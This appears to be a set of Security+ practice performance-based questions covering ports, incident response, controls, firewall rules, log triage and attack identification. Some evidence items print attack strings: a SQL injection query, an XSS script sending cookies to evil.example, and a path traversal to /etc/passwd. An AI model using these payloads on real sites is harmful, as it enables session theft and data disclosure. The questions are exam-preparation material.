Performance-Based Questions
The real exam usually opens with a few performance-based questions, often simulations with several tabs, command output, logs and rule tables. Here you drag chips onto targets (or tap a chip, then tap a slot), sort cards into categories, flag suspicious log entries and fill in configurations, then check your answers. Reset clears an item and reshuffles it.
Match Ports to Protocols
Drag each port number onto the service that uses it by default.
SSH / SFTP
Secure remote shell and file transfer
DNS
Name resolution (UDP/TCP)
HTTPS
TLS-encrypted web traffic
RDP
Remote Desktop Protocol
LDAPS
LDAP over SSL/TLS
Microsoft SQL Server
Database engine traffic
Order the Incident Response Phases
Place the seven incident response activities in the order defined by the SY0-701 process.
Step 1
Step 2
Step 3
Step 4
Step 5
Step 6
Step 7
Identify the Attack from the Evidence
Drag each attack type onto the log entry or observation that indicates it.
Web server log
GET /product.php?id=1' OR '1'='1'-- HTTP/1.1
Auth log
One password attempt ('Winter2025!') against 400 different accounts within 10 minutes
Support ticket
Users report popups on the reviews page; page source contains <script>document.location='http://evil.example/c?'+document.cookie</script>
Web server log
GET /download?file=../../../../etc/passwd HTTP/1.1
NetFlow data
Massive inbound UDP from thousands of open NTP servers, all responses to requests the company never sent
Email gateway alert
Mass inbound mail from paypa1-security.example asking users to 'verify' their credentials
Classify the Security Controls
Drag each control type onto its real-world example.
802.1X blocks unauthorized devices from connecting to the network
SIEM raises an alert after correlating failed logins across servers
Restoring the file server from last night's backup after ransomware
'This facility is under 24/7 video surveillance' signs at every entrance
Isolating an unpatchable legacy SCADA system on its own VLAN
A policy requiring all staff to lock screens when leaving their desk
Order of Volatility (Forensics)
A workstation is compromised. Order the evidence sources from MOST volatile (collect first) to LEAST volatile (collect last).
Collect 1st
Collect 2nd
Collect 3rd
Collect 4th
Collect 5th
Place the Security Appliance
Drag each technology onto the requirement it satisfies BEST.
Block SQL injection and XSS against the public e-commerce site
Check device posture (AV, patches) before granting LAN access
Stop employees emailing files containing credit card numbers
Aggregate and correlate logs from 200 systems with real-time alerting
Detect and isolate malicious processes on laptops, with rollback
Give admins one hardened, audited path into the server management VLAN
Classify the Authentication Factors
Drag each authentication factor category onto the concrete example that belongs to it.
A password typed at the login prompt
A TOTP hardware token that displays a rotating 6-digit code
A fingerprint scanned to unlock a laptop
Login allowed only when GPS places the user inside the home country
Match the Agreement to the Situation
Drag each agreement type onto the contracting situation it fits BEST.
A consultant will see trade secrets and must be legally barred from disclosing them
The cloud provider must guarantee 99.99% uptime with penalties for missing it
Two companies expect many future projects and want one umbrella contract covering the general terms for all of them
A document defines the specific deliverables, timeline, and milestones for one penetration test engagement
Two agencies sign a non-binding statement of intent to cooperate on threat intelligence sharing
Two firms formalize a partnership, defining each partner's responsibilities and how profits are divided
Pick the Right Cryptographic Tool
Drag each cryptographic technique onto the requirement it satisfies BEST.
Verify a downloaded file has not been altered in transit
Encrypt terabytes of data at rest with minimal performance impact
Exchange a secret key with a stranger over an untrusted network
Prove a message came from the sender, who cannot later deny sending it
Replace stored credit card numbers with substitute values that have no mathematical relationship to the originals
Stop attackers from cracking a stolen password database with precomputed rainbow tables
Order Wireless Security from Weakest to Strongest
Arrange the wireless security protocols from WEAKEST (place first) to STRONGEST (place last).
Step 1
Weakest
Step 2
Step 3
Step 4
Strongest
Order the Risk Management Steps
Arrange the risk management activities in the order they are performed.
Step 1
Step 2
Step 3
Step 4
Step 5
Order the Firewall Rules Correctly
Firewalls evaluate rules top-down and stop at the FIRST match. Arrange the rules so specific blocks come before broader allows, and the catch-all deny lands last.
Step 1
Evaluated first
Step 2
Step 3
Step 4
Evaluated last
Pick the Best Log Source
An incident responder needs answers. Drag each log or data source onto the investigative question it answers BEST.
Which internal hosts contacted the malicious domain?
What exact data left the network in that session?
Which process spawned the suspicious executable?
Whose credentials were used at 03:12?
Was there a beaconing pattern of small periodic connections?
Which port did the attacker connect to on the DMZ server?
Order the Change Management Process
Arrange the change management activities in the order a well-run organization performs them.
Step 1
Step 2
Step 3
Step 4
Step 5
Step 6
Match the Data Role
Drag each data governance role onto the description that defines it.
Senior executive accountable for a data set who classifies it and decides who may access it
Organization that determines the purposes and means of processing personal data
Third party that processes personal data only on the controller's documented instructions
IT staff who implement the day-to-day protections: backups, permissions, encryption
The individual person whom the personal data identifies or describes
Order the Certificate Lifecycle
Arrange the steps of a TLS server certificate's lifecycle in the order they occur.
Step 1
Step 2
Step 3
Step 4
Step 5
Step 6
Order the Vulnerability Management Cycle
Arrange the vulnerability management activities in the order they are performed in one cycle.
Step 1
Step 2
Step 3
Step 4
Step 5
Step 6
Name That Social Engineering Attack
Drag each social engineering attack onto the scenario that describes it.
A spear-phishing email crafted specifically for the CFO references her upcoming board meeting by name
A caller claiming to be from the bank's fraud department asks an employee to read back a verification code over the phone
An attacker invents a story about being a new IT auditor to convince the receptionist to share the visitor access procedures
Attackers compromise an industry association website they know the target company's engineers visit daily
Users who mistype the company domain as 'examp1e.com' land on a fake login page that harvests credentials
An email from the CEO's actual compromised account instructs accounting to urgently wire funds to a new supplier
Pick the Hardening Technique
Drag each hardening technique onto the risk scenario it addresses BEST.
Users keep downloading and running unapproved executables that turn out to be malware
A vulnerability scan shows Telnet and an old FTP daemon listening on servers where nobody uses them
New network cameras still accept the factory admin/admin login printed in the vendor manual
A sales laptop containing customer records is stolen from a parked car
Once inside the flat network, malware spreads laterally by connecting directly to workstations' open ports
Workstations ship with preinstalled trial apps and games that nobody patches, expanding the attack surface
Order the 802.1X Authentication Flow
A laptop plugs into a port protected by 802.1X. Arrange the steps of the authentication flow in the order they occur.
Step 1
Step 2
Step 3
Step 4
Step 5
Step 6
Who Secures What in the Cloud
Under the cloud shared responsibility model, drag each responsibility onto the scenario it would have addressed. Note who holds each duty - provider or customer - depending on the service model.
An intruder tailgates into the cloud region's server building and reaches the racks
A VM-escape vulnerability in the virtualization layer lets one tenant read another tenant's memory
A company's IaaS Linux VMs are compromised through a kernel flaw fixed by an update nobody installed
An app the team built on a PaaS platform is breached through a SQL injection flaw in its own code
A terminated employee logs into the SaaS CRM months later because the account was never disabled
Sensitive records were uploaded to a public bucket because nobody had labeled the data as confidential
Identify the Wireless Attack
Drag each wireless attack onto the evidence that indicates it.
A second AP broadcasts the corporate SSID with a stronger signal, and users who join it are shown a fake captive portal asking for credentials
A site survey finds an unauthorized consumer Wi-Fi router plugged into a live wall jack in a conference room, bridging into the corporate LAN
A packet capture shows floods of spoofed 802.11 management frames repeatedly kicking clients off the WLAN, forcing them to reconnect
Contacts and messages were silently copied from an executive's phone over a Bluetooth connection while she sat in an airport lounge
Door logs show an employee's badge entering the building while that employee was verifiably abroad, because the badge's data had been copied to a duplicate card
All Wi-Fi channels in the warehouse show a constant wall of RF noise and every wireless device loses connectivity at once
Order the TLS Handshake (simplified)
A browser opens an HTTPS connection. Arrange the simplified TLS handshake steps in the order they occur.
Step 1
Step 2
Step 3
Step 4
Step 5
Match the Physical Control
Drag each physical security control onto the purpose it serves BEST.
Stop tailgating by allowing only one authenticated person through a two-door chamber at a time
Prevent a vehicle from ramming through the building entrance
Block all radio signals from entering or leaving the forensics lab where seized phones are examined
Keep the industrial control network physically disconnected from any other network, including the internet
Detect an intruder's footsteps crossing the floor of a restricted area after hours
Provide a human who can verify IDs, challenge suspicious behavior, and adapt to situations no automated control anticipates
Order the Forensic Investigation
A digital forensic investigation begins after a suspected breach. Arrange the activities in the order they are performed.
Step 1
Step 2
Step 3
Step 4
Step 5
Step 6
Match the Tool to Its Function
Drag each security tool onto the one-line description of what it does.
Aggregates and correlates logs from across the environment to surface security alerts
Runs automated playbooks that respond to alerts without waiting for a human analyst
Monitors endpoint processes and behavior, and can isolate a compromised host
Baselines normal user and entity behavior and flags anomalies like a 3 a.m. mass download
Inspects outbound data and blocks sensitive content from leaving the organization
Watches critical system and configuration files and alerts when their hashes change
Replace the Insecure Protocol
A vulnerability scan flagged these cleartext services. Drag the secure replacement onto each one.
Telnet
Remote shell on TCP 23, credentials sent in cleartext
HTTP
Unencrypted web traffic to the HR portal on TCP 80
FTP
Nightly file transfers to a partner on TCP 21
SNMPv1/v2c
Device monitoring on UDP 161 with the community string 'public'
LDAP
Directory lookups on TCP 389, bind password visible on the wire
IMAP
Mail client fetching messages in the clear on TCP 143
Identify the Access Control Model
Drag each access control model onto the scenario that describes it.
File share
The owner of a folder decides who else can read or edit it
Government system
Access is granted only when the user's clearance meets the document's classification label; owners cannot override it
New hire
Everyone placed in the Accounts Payable group automatically receives the same permission set
Conditional access
Access requires a compliant device, membership in Finance and a connection from the corporate network
Firewall ACL
A fixed list of conditions is applied to every subject regardless of identity
Contractor accounts
Logins succeed only between 08:00 and 18:00 on weekdays
Choose the Risk Management Strategy
Drag the risk strategy onto the decision the organization made.
Cyber insurance
A policy is purchased to cover breach notification and legal costs
Card data project
The plan to store card numbers in-house is cancelled entirely; a tokenization provider is used instead
Account takeover
MFA is rolled out to reduce the likelihood of credential-based compromise
Legacy MRI scanner
The device cannot be patched; leadership signs off on running it unpatched inside an isolated VLAN with a 12-month review
Public brochure site
The site holds no personal data, so it is formally excluded from the encryption-at-rest standard
Name the Malware
Drag each malware type onto the behavior the SOC observed.
File server
Documents renamed to .locked and a README demands payment in cryptocurrency
Network
Infection spreads host to host through an SMB flaw with no user interaction
Workstation
A free 'PDF converter' the user installed also opened a remote-access backdoor
Server
A kernel-mode process is invisible to Task Manager and the antivirus, and survives reboots
Finance laptop
Every keystroke, including banking passwords, is sent to an external host
Payroll database
A script wiped the tables on the day a disgruntled administrator's account was disabled
Match the Email Security Control
Drag each email security technology onto its description.
DNS TXT record
Lists the servers that are allowed to send mail for the domain
Message header
A cryptographic signature proves the message body and headers were not altered in transit
Domain policy
Tells receivers what to do with mail that fails the checks and where to send aggregate reports
Perimeter appliance
Filters spam, sandboxes attachments and rewrites suspicious links before delivery
Individual message
A user encrypts and signs one email end to end with their personal certificate
Match the Deception Technology
Drag each deception or disruption technology onto the scenario.
Single decoy
One deliberately vulnerable-looking database server placed to attract and log attackers
Decoy network
An entire fake subnet of decoy hosts used to study lateral movement
Decoy document
A spreadsheet named passwords.xlsx raises an alert whenever it is opened
Decoy credential
A fake API key seeded in a repository; any attempt to use it triggers an alert
Resolver
Requests for known malicious domains are answered with an internal address so the malware cannot reach its C2
Match the Continuity Metric
Drag each business continuity metric onto the statement it describes.
Payment system
Must be back online within 4 hours of an outage before losses become unacceptable
Order database
Backups run every 15 minutes because the business can tolerate losing at most 15 minutes of orders
Core switch
Technicians take an average of 45 minutes to repair a failure once it occurs
Storage array
The vendor rates each drive at 1.2 million hours of operation between failures
Order the Penetration Test
Arrange the phases of an authorized penetration test from first to last.
Step 1
Step 2
Step 3
Step 4
Step 5
Step 6
Recognize the Indicator of Malicious Activity
Drag each indicator onto the observation from the SIEM.
Identity provider
User authenticated from Lisbon and 12 minutes later from Singapore
VPN concentrator
The same account holds three active sessions from three countries at once
Web server
CPU pinned at 100% by an unknown process named xmrig
Domain controller
Security log is empty for exactly the two hours in which the breach occurred
Backup server
Large batch writes and a log rotation occurred at 03:10, outside every scheduled job
Threat intel feed
A dump of the customer table appears on a paste site
Match the Encryption Level
Drag the encryption scope onto the scenario that uses it.
Stolen laptop
The whole drive is unreadable without the TPM-backed key (BitLocker)
Linux install
Only the /home partition was encrypted at install time; /boot stays in the clear
Email attachment
One spreadsheet is password-protected before being sent
Project container
An encrypted container is mounted as a drive letter and unmounted when the work is done
Customer database
Transparent data encryption protects the entire database at rest while authorized queries see plaintext
Card numbers
Only the PAN column is encrypted; the other columns remain queryable in plaintext
Identify the Network Attack
Drag each network attack onto the evidence that reveals it.
Border router
Tiny DNS queries with a spoofed source address produce huge responses, all directed at the victim
Coffee-shop Wi-Fi
A rogue device silently relays and alters traffic between a user and their bank
Internal resolver
The cache now maps bank.example to an attacker's IP and users land on a look-alike page
File server
A captured NTLM hash is reused to authenticate without ever knowing the password
Registrar
The company's domain records were changed at the registrar and now point to a server the company does not control
Match the Zero Trust Component
Drag each zero trust element onto its function in the architecture.
Control plane
Evaluates identity, device posture and risk signals and decides whether to grant access
Control plane
Carries out the decision by establishing or tearing down the session and issuing the token
Data plane
Gateway in the traffic path that actually allows or blocks the connection
Control plane
Raises the authentication requirement when the user connects from a new country or device
Control plane
Shrinks segments so a compromised account can reach as little as possible
Data plane
The area beyond the enforcement point where the approved session is allowed to communicate
Network Map: Build the Screened Subnet
The company publishes a web server and a mail relay. Place each security device on the lettered slot where it belongs. One device is not needed anywhere.
- ABetween the border router and the DMZ switch
- BDirectly in front of the public web server
- CHanging off a SPAN (mirror) port of the DMZ switch
- DInline between the DMZ and the internal core switch
- EInside the internal network, receiving logs from every device
Network Map: Public Services and Remote Access
The firewall is already in place. Place the remaining devices where they belong. One device is a distractor.
- AIn front of the two identical web servers
- BTerminates remote-worker tunnels at the edge, beside the firewall
- CBetween the user PCs and the core switch, on the path to the internet
- DThe only path from the core into the server VLAN
- EA decoy in the DMZ that attracts attackers
Network Map: Secure the Branch Office
A branch office connects wired PCs and wireless laptops. Place the devices that enforce 802.1X and perimeter security. One item is a distractor.
- AAt the internet edge of the branch
- BBetween the core switch and the access switch, checking device posture before granting LAN access
- CThe device the laptops associate with over the air
- DIn the server room; the switch and AP forward authentication requests to it
Network Map: Hybrid Cloud Access
Users on site and remote workers use SaaS apps and workloads in a cloud VPC. Place each control on the slot where it enforces policy. One item is a distractor.
- ABetween the corporate network and the SaaS applications, enforcing cloud usage policy
- BAt the edge of the VPC, terminating the encrypted link from the on-premises firewall
- CIn the VPC public subnet; the only host administrators SSH into before reaching private instances
- DBetween remote workers' laptops and the internet, filtering their web traffic wherever they are
Configure the Firewall Rule Base
Requirements: (1) anyone on the internet may reach the public web server 10.0.10.5 over HTTPS only; (2) only the admin subnet 10.0.99.0/24 may SSH to the server VLAN 10.0.10.0/24; (3) Telnet must be blocked from everywhere; (4) everything else is denied. Rules are evaluated top to bottom. Fill in each field.
Configure the Corporate Wireless Network
The company wants the strongest available Wi-Fi security. Employees have device certificates issued by the internal CA and authenticate against the directory. Visitors need internet-only access. Choose the correct value for each setting.
Triage the Web Server Log
The SOC pulled six entries from the public web server. Classify each entry and, for the two most dangerous, pick the first response.
Simulation: Find the Compromised Workstations
The SIEM flagged unusual outbound traffic from the finance VLAN. Open each workstation tab, review the command output, then classify the host and choose the first response. Finish with the questions below the tabs.
Proto Local Address Foreign Address State PID TCP 10.20.4.31:51544 52.96.0.18:443 ESTABLISHED 7120 TCP 10.20.4.31:51610 203.0.113.50:443 ESTABLISHED 4388 TCP 10.20.4.31:51702 10.20.0.10:445 ESTABLISHED 4
Image Name PID Session Mem Usage User Name Window Title svch0st.exe 4388 Console 18,204 K FIN\mlopez N/A Path: C:\Users\Public\Libraries\svch0st.exe Connection to 203.0.113.50:443 re-opens every 60 seconds (jitter +/- 3 s)
Simulation: Build the Edge Firewall ACL
Complete the rule table on the edge firewall so it meets every requirement in the exhibit. Rules are processed top to bottom and the first match wins. Each rule must be as narrow as the requirement allows.
Networks: internal users 10.1.0.0/16 · DMZ web server 172.16.10.20 · database 10.1.5.10 · internal DNS resolver 10.1.0.53 1. Anyone on the internet may reach the DMZ web server over HTTPS only. 2. The DMZ web server may query the database on its SQL Server port. No other DMZ-to-internal traffic is allowed. 3. Internal users may browse the web (HTTP and HTTPS). 4. Only the internal resolver may send DNS queries to the internet. 5. Everything else is denied and logged.
| # | Action | Source | Destination | Protocol / port |
|---|---|---|---|---|
| Rule 1 | ||||
| Rule 2 | ||||
| Rule 3 | ||||
| Rule 4 | ||||
| Rule 5 |
Log Analysis: Review the Bastion Host
These entries come from /var/log/auth.log on an internet-facing SSH bastion. Administrators sign in only with keys from the admin subnet 10.0.99.0/24. Select every entry that is part of an attack or shows the attacker's activity after access. Leave routine entries unselected.
Log Analysis: Dissect the Reported Email
An employee reported this message to the security team. The company's real domain is example.com and payroll changes are only made in the HR portal. Select every element that indicates phishing.
Categorize: Control Categories
Sort each safeguard into its control category. Every category holds several cards.
Technical
Enforced by systems
Drop hereManagerial
Governance and oversight
Drop hereOperational
Carried out by people
Drop herePhysical
Acts on the physical world
Drop hereCategorize: Incident Response Phases
A ransomware incident hit a file server. Sort each action the team took into the incident response phase it belongs to.
Preparation
Drop hereDetection and analysis
Drop hereContainment
Drop hereEradication
Drop hereRecovery
Drop hereLessons learned
Drop hereSimulation: Triage the Vulnerability Scan
Review the scan report and the asset inventory tabs, then pick the treatment for each finding and answer the prioritization question.
ID Asset Finding CVSS Exploit public F1 vpn-gw01 Remote code execution in SSL VPN web portal 9.8 Yes, exploited in the wild F2 hmi-line3 Outdated SMBv1 enabled on HMI workstation 8.1 Yes F3 web-int02 OpenSSH version string below fixed release 7.5 Yes F4 prn-floor2 TLS 1.0 enabled on printer admin page 5.3 No F5 lab-test07 Missing OS patch (medium) 6.1 No
Simulation: Act on the Port Scan
An external scan of the public server 203.0.113.80 produced the output in the exhibit. The server hosts the company website; staff administer it remotely. Choose the action for each open port.
Starting Nmap ( https://nmap.org ) Nmap scan report for 203.0.113.80 PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.5 23/tcp open telnet Linux telnetd 443/tcp open ssl/http nginx 1.26.2 445/tcp open microsoft-ds Samba smbd 4.x 3389/tcp open ms-wbt-server xrdp Nmap done: 1 IP address (1 host up) scanned
Calculate the Annualized Risk
A customer database is valued at $250,000. A breach would destroy 40% of its value, and analysts expect one breach every two years. A proposed DLP and monitoring package costs $20,000 per year and would cut the expected rate to one breach every ten years. Complete the analysis.
Simulation: Choose the Certificates and Key Settings
Use the requirement tabs to configure each system, then answer the questions on every tab.
www.example.com, shop.example.com and api.example.com sit behind one load balancer. Policy forbids wildcard certificates, because one stolen key would expose every subdomain. Browsers must not see warnings. Revocation must be checked without slowing clients or telling the CA which sites they visit.
Log Analysis: Reconstruct the Attack Across Three Sources
An analyst is investigating workstation 10.1.4.27 (user rpatel). Review the firewall, proxy and EDR tabs and select every event that belongs to the attack chain. Routine events stay unselected.
Configure the Remote Access VPN
Remote employees must connect from home and from hotel networks. Security requires that all their traffic is inspected by the corporate proxy, that stolen passwords alone cannot open a session, and that unhealthy laptops are kept off the network. Choose each setting.